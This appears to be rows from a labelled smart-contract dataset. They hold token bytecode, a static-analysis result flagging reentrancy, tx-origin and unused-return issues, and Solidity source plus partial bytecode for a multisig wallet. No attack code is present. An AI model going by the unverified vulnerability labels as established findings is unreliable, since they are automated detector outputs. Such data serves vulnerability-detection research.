0408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7ef5bbe2e4e0d049ad5d493755a85a90548ecbf9ffbeb5dd7a95ee4bc77f51d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,856 |
0xC037fBD2d1BC9b38318671694D4Dd0B9ae1E8383
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IMultiSig {
function isSigner(address _recepient) external returns(bool);
}
contract MultiSigWallet is Context, ReentrancyGuard, IMultiSig {
event SignerChanged(address indexed previousSigner, address indexed newSigner);
event Deposit(address indexed signer, uint256 value);
event Withdraw(address indexed recepient, uint256 value);
event TxSubmitted(address indexed signer, uint256 indexed transactionId);
event TxConfirmed(address indexed signer, uint256 indexed transactionId);
event TxConfirmationRevoked(address indexed signer, uint256 indexed transactionId);
event TxExecuted(uint256 indexed transactionId);
event TxExecutionFailed(uint256 indexed transactionId);
/*
* Constants
*/
uint256 constant MAX_SIGNERS = 15;
uint256 constant THRESHOLD_SIGNERS = 3;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public override isSigner;
address[] public signers;
uint public transactionCount;
struct Transaction {
string name;
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyMultisig() {
require(_msgSender() == address(this), "Not multisig");
_;
}
modifier isNotSigner(address _account) {
require(_account != address(0), "Zero address");
require(!isSigner[_account], "Already a signer");
_;
}
modifier isAllowedSigner(address _account) {
require(isSigner[_account], "Is not a signer");
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0), "Incorrect id");
_;
}
modifier confirmed(uint256 transactionId, address signer) {
require(confirmations[transactionId][signer], "Not confirmed");
_;
}
modifier notConfirmed(uint256 transactionId, address signer) {
require(!confirmations[transactionId][signer], "Already confirmed");
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed, "Already executed");
_;
}
/// @dev Fallback function allows to deposit ether.
receive() external payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial signers.
/// @param _signers List of initial signers.
constructor(address[] memory _signers) public
{
require(_signers.length == MAX_SIGNERS, "Incorrect signers number");
signers = new address[](MAX_SIGNERS);
for (uint256 i = 0; i < MAX_SIGNERS; i++) {
require(_signers[i] != address(0), "Zero address");
require(!isSigner[_signers[i]], "Signer already registered");
isSigner[_signers[i]] = true;
signers[i] = _signers[i];
}
transactionCount = 0;
}
/// @dev Allows to return a deposited ehter from the wallet.
/// @param _recepient Address of the signer to receive the ether.
/// @param _amount Amount of ether to be withdrawn.
function returnDeposit(address payable _recepient, uint256 _amount) external onlyMultisig
isAllowedSigner(_recepient)
{
require(_amount <= address(this).balance, "Incorrect amount");
emit Withdraw(_recepient, _amount);
_recepient.transfer(_amount);
}
/// @dev Allows to replace a signer with a new one. Transaction has to be sent by wallet.
/// @param _previousSigner Address of the signer to be replaced.
/// @param _newSigner Address of a new signer.
function replaceSigner(address _previousSigner, address _newSigner) external onlyMultisig
isAllowedSigner(_previousSigner)
isNotSigner(_newSigner)
{
for (uint i = 0; i < MAX_SIGNERS; i++) {
if (signers[i] == _previousSigner) {
signers[i] = _newSigner;
break;
}
}
isSigner[_previousSigner] = false;
isSigner[_newSigner] = true;
emit SignerChanged(_previousSigner, _newSigner);
}
/// @dev Submits a transaction and confirms it (allowed for signers only).
/// @param _destination Transaction target address.
/// @param _ethValue Transaction ether value.
/// @param _data Transaction data payload.
/// @return transactionId Returns transaction ID.
function submitTransaction(string memory _name, address _destination, uint256 _ethValue, bytes memory _data) external
isAllowedSigner(_msgSender())
returns (uint256 transactionId)
{
require(_destination != address(0), "Zero address");
transactionId = transactionCount;
transactions[transactionId] = Transaction({
name: _name,
destination: _destination,
value: _ethValue,
data: _data,
executed: false
});
transactionCount += 1;
emit TxSubmitted(_msgSender(), transactionId);
confirmTransaction(transactionId);
}
/// @dev Confirm a transaction (for signers only).
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId) public
isAllowedSigner(_msgSender())
transactionExists(transactionId)
notConfirmed(transactionId, _msgSender())
{
confirmations[transactionId][_msgSender()] = true;
emit TxConfirmed(_msgSender(), transactionId);
/// Execute the transaction if it is the last confirmation
executeTransaction(transactionId);
}
/// @dev Allows a signer to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId) external
isAllowedSigner(_msgSender())
transactionExists(transactionId)
confirmed(transactionId, _msgSender())
notExecuted(transactionId)
{
confirmations[transactionId][_msgSender()] = false;
emit TxConfirmationRevoked(_msgSender(), transactionId);
}
/// @dev Executes a confirmed transaction (signers only).
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId) internal
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
if (external_call(transactionId)) {
transactions[transactionId].executed = true;
emit TxExecuted(transactionId);
}
else {
confirmations[transactionId][_msgSender()] = false;
emit TxExecutionFailed(transactionId);
}
}
}
function external_call(uint256 transactionId) internal returns (bool) {
bool result;
Transaction storage txn = transactions[transactionId];
address destination = txn.destination;
uint256 value = txn.value;
bytes memory data = txn.data;
uint256 len = data.length;
assembly {
let x := mload(0x40) // Memory for output
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3) + callValueTransferGas (9000) +
// callNewAccountGas (25000, if destination address does not exist)
destination,
value,
d,
len, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool)
{
if (transactions[transactionId].executed) {
return true;
}
uint256 count = 0;
for (uint256 i = 0; i < MAX_SIGNERS; i++) {
if (confirmations[transactionId][signers[i]])
count += 1;
if (count == THRESHOLD_SIGNERS)
return true;
}
return false;
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return count Number of confirmations.
function getConfirmationCount(uint256 transactionId) external view returns (uint256 count)
{
if (transactions[transactionId].executed) {
return THRESHOLD_SIGNERS;
}
for (uint256 i = 0; i < MAX_SIGNERS; i++)
if (confirmations[transactionId][signers[i]])
count += 1;
}
/// @dev Returns total number of pending transactions
/// @return count Total number of transactions after filters are applied.
function getPendingTransactionCount() external view returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if (!transactions[i].executed)
count += 1;
}
/// @dev Returns list of signers.
/// @return signers List of owner addresses.
function getSigners() external view returns (address[] memory)
{
return signers;
}
/// @dev Returns array with signers addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return _confirmations Returns array of signer addresses.
function getConfirmations(uint256 transactionId) external view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](MAX_SIGNERS);
uint256 count = 0;
uint i;
for (i = 0; i < MAX_SIGNERS; i++)
if (confirmations[transactionId][signers[i]]) {
confirmationsTemp[count] = signers[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of pending transaction IDs in defined range. (>= from and < to)
/// @param from Number of the first pending transaction.
/// @param to Number of the last pending transaction.
/// @return _transactionIds Returns array of transaction IDs.
function getPendingTransactionIds(uint256 from, uint256 to) external view
returns (uint[] memory _transactionIds)
{
require(to > from && to <= transactionCount, "Incorrect indeces");
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint penNumCount = 0;
uint i;
for (i = 0; i < transactionCount; i++)
{
if ( !transactions[i].executed)
{
if (penNumCount < from)
{
penNumCount += 1;
continue;
}
if (penNumCount < to)
{
transactionIdsTemp[count] = i;
count += 1;
}
else
break;
}
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6080604052600436106100f75760003560e01c806394cf795e1161008a578063c01a8c8411610059578063c01a8c8414610622578063d29709fb1461064c578063ddbd5d3f14610692578063e3d9109f146106a75761013b565b806394cf795e146104995780639ace38c2146104ae578063b5dc40c3146105e3578063b77bf6001461060d5761013b565b806341659cdb116100c657806341659cdb14610385578063784547a7146104055780637df73e271461042f5780638b51d13f1461046f5761013b565b80632079fb9a1461014057806320ea8d8614610193578063281a9956146101bd5780633411c81c1461032b5761013b565b3661013b5734156101395760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b600080fd5b34801561014c57600080fd5b5061016a6004803603602081101561016357600080fd5b50356106ef565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561019f57600080fd5b50610139600480360360208110156101b657600080fd5b5035610723565b3480156101c957600080fd5b50610319600480360360808110156101e057600080fd5b8101906020810181356401000000008111156101fb57600080fd5b82018360208201111561020d57600080fd5b8035906020019184600183028401116401000000008311171561022f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929573ffffffffffffffffffffffffffffffffffffffff853516956020860135959194509250606081019150604001356401000000008111156102a457600080fd5b8201836020820111156102b657600080fd5b803590602001918460018302840111640100000000831117156102d857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a3c945050505050565b60408051918252519081900360200190f35b34801561033757600080fd5b506103716004803603604081101561034e57600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16610cd4565b604080519115158252519081900360200190f35b34801561039157600080fd5b506103b5600480360360408110156103a857600080fd5b5080359060200135610cf4565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103f15781810151838201526020016103d9565b505050509050019250505060405180910390f35b34801561041157600080fd5b506103716004803603602081101561042857600080fd5b5035610ec0565b34801561043b57600080fd5b506103716004803603602081101561045257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f77565b34801561047b57600080fd5b506103196004803603602081101561049257600080fd5b5035610f8c565b3480156104a557600080fd5b506103b5611028565b3480156104ba57600080fd5b506104d8600480360360208110156104d157600080fd5b5035611097565b60405180806020018673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001806020018415158152602001838103835288818151815260200191508051906020019080838360005b8381101561054357818101518382015260200161052b565b50505050905090810190601f1680156105705780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156105a357818101518382015260200161058b565b50505050905090810190601f1680156105d05780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3480156105ef57600080fd5b506103b56004803603602081101561060657600080fd5b5035611231565b34801561061957600080fd5b506103196113f2565b34801561062e57600080fd5b506101396004803603602081101561064557600080fd5b50356113f8565b34801561065857600080fd5b506101396004803603604081101561066f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135611699565b34801561069e57600080fd5b506103196118be565b3480156106b357600080fd5b50610139600480360360408110156106ca57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166118f8565b600481815481106106fc57fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b61072b611c7c565b73ffffffffffffffffffffffffffffffffffffffff811660009081526003602052604090205460ff166107bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4973206e6f742061207369676e65720000000000000000000000000000000000604482015290519081900360640190fd5b60008281526001602081905260409091200154829073ffffffffffffffffffffffffffffffffffffffff1661085557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f496e636f72726563742069640000000000000000000000000000000000000000604482015290519081900360640190fd5b8261085e611c7c565b600082815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff166108fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4e6f7420636f6e6669726d656400000000000000000000000000000000000000604482015290519081900360640190fd5b600085815260016020526040902060040154859060ff161561097f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f416c726561647920657865637574656400000000000000000000000000000000604482015290519081900360640190fd5b600086815260026020526040812081610996611c7c565b73ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055856109f2611c7c565b73ffffffffffffffffffffffffffffffffffffffff167f07811e0b2182c967ffc758c56a69d4bef82ccfddf6172ee48a6aa3bdc6d5796860405160405180910390a3505050505050565b6000610a46611c7c565b73ffffffffffffffffffffffffffffffffffffffff811660009081526003602052604090205460ff16610ada57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4973206e6f742061207369676e65720000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8516610b5c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a65726f20616464726573730000000000000000000000000000000000000000604482015290519081900360640190fd5b6005546040805160a08101825288815273ffffffffffffffffffffffffffffffffffffffff88166020808301919091528183018890526060820187905260006080830181905284815260018252929092208151805194965091939092610bc6928492910190611f2f565b506020828101516001830180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9092169190911790556040830151600283015560608301518051610c349260038501920190611f2f565b5060809190910151600490910180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001691151591909117905560058054600101905581610c80611c7c565b73ffffffffffffffffffffffffffffffffffffffff167fad9a0dcf873be1d77b46f6fe6cb1f9c11a72cb0ea20599e949188d38b8a5c2c060405160405180910390a3610ccb826113f8565b50949350505050565b600260209081526000928352604080842090915290825290205460ff1681565b60608282118015610d0757506005548211155b610d7257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f496e636f727265637420696e6465636573000000000000000000000000000000604482015290519081900360640190fd5b606060055467ffffffffffffffff81118015610d8d57600080fd5b50604051908082528060200260200182016040528015610db7578160200160208202803683370190505b50905060008060005b600554811015610e2f5760008181526001602052604090206004015460ff16610e275786821015610df657600182019150610e27565b85821015610e225780848481518110610e0b57fe5b602002602001018181525050600183019250610e27565b610e2f565b600101610dc0565b86860367ffffffffffffffff81118015610e4857600080fd5b50604051908082528060200260200182016040528015610e72578160200160208202803683370190505b5094508690505b85811015610eb657838181518110610e8d57fe5b60200260200101518588830381518110610ea357fe5b6020908102919091010152600101610e79565b5050505092915050565b60008181526001602052604081206004015460ff1615610ee257506001610f72565b6000805b600f811015610f6b5760008481526002602052604081206004805491929184908110610f0e57fe5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff1615610f4f576001820191505b6003821415610f6357600192505050610f72565b600101610ee6565b5060009150505b919050565b60036020526000908152604090205460ff1681565b60008181526001602052604081206004015460ff1615610fae57506003610f72565b60005b600f8110156110225760008381526002602052604081206004805491929184908110610fd957fe5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff161561101a576001820191505b600101610fb1565b50919050565b6060600480548060200260200160405190810160405280929190818152602001828054801561108d57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611062575b5050505050905090565b60016020818152600092835260409283902080548451600294821615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190911693909304601f81018390048302840183019094528383529283918301828280156111475780601f1061111c57610100808354040283529160200191611147565b820191906000526020600020905b81548152906001019060200180831161112a57829003601f168201915b505050600180850154600280870154600388018054604080516020601f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff998516156101000299909901909316959095049687018290048202850182019052858452979873ffffffffffffffffffffffffffffffffffffffff9094169791965092945090929083018282801561121e5780601f106111f35761010080835404028352916020019161121e565b820191906000526020600020905b81548152906001019060200180831161120157829003601f168201915b5050506004909301549192505060ff1685565b60408051600f8082526102008201909252606091829190602082016101e0803683370190505090506000805b600f81101561134c576000858152600260205260408120600480549192918490811061128557fe5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff161561134457600481815481106112cc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061130357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b60010161125d565b8167ffffffffffffffff8111801561136357600080fd5b5060405190808252806020026020018201604052801561138d578160200160208202803683370190505b509350600090505b818110156113ea578281815181106113a957fe5b60200260200101518482815181106113bd57fe5b73ffffffffffffffffffffffffffffffffffffffff90921660209283029190910190910152600101611395565b505050919050565b60055481565b611400611c7c565b73ffffffffffffffffffffffffffffffffffffffff811660009081526003602052604090205460ff1661149457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4973206e6f742061207369676e65720000000000000000000000000000000000604482015290519081900360640190fd5b60008281526001602081905260409091200154829073ffffffffffffffffffffffffffffffffffffffff1661152a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f496e636f72726563742069640000000000000000000000000000000000000000604482015290519081900360640190fd5b82611533611c7c565b600082815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16156115d257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f416c726561647920636f6e6669726d6564000000000000000000000000000000604482015290519081900360640190fd5b60008581526002602052604081206001916115eb611c7c565b73ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001691151591909117905584611647611c7c565b73ffffffffffffffffffffffffffffffffffffffff167fc589ff6c2ac9afba30deef79571dcb507c6bd8f88c3077ee69a2c5070b13d98560405160405180910390a361169285611c80565b5050505050565b306116a2611c7c565b73ffffffffffffffffffffffffffffffffffffffff161461172457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e6f74206d756c74697369670000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040902054829060ff166117ba57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4973206e6f742061207369676e65720000000000000000000000000000000000604482015290519081900360640190fd5b4782111561182957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f496e636f727265637420616d6f756e7400000000000000000000000000000000604482015290519081900360640190fd5b60408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a260405173ffffffffffffffffffffffffffffffffffffffff84169083156108fc029084906000818181858888f193505050501580156118b8573d6000803e3d6000fd5b50505050565b6000805b6005548110156118f45760008181526001602052604090206004015460ff166118ec576001820191505b6001016118c2565b5090565b30611901611c7c565b73ffffffffffffffffffffffffffffffffffffffff161461198357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e6f74206d756c74697369670000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040902054829060ff16611a1957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4973206e6f742061207369676e65720000000000000000000000000000000000604482015290519081900360640190fd5b8173ffffffffffffffffffffffffffffffffffffffff8116611a9c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5a65726f20616464726573730000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811660009081526003602052604090205460ff1615611b3157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f416c72656164792061207369676e657200000000000000000000000000000000604482015290519081900360640190fd5b60005b600f811015611bec578473ffffffffffffffffffffffffffffffffffffffff1660048281548110611b6157fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415611be4578360048281548110611b9757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bec565b600101611b34565b5073ffffffffffffffffffffffffffffffffffffffff80851660008181526003602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009081169091559387168083528183208054909516600117909455517feeb293e1f8f3a9db91ade748726387ed1352ca78f5430c5f06fe3d1e1ad505799190a350505050565b3390565b600081815260016020526040902060040154819060ff1615611d0357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f416c726561647920657865637574656400000000000000000000000000000000604482015290519081900360640190fd5b611d0c82610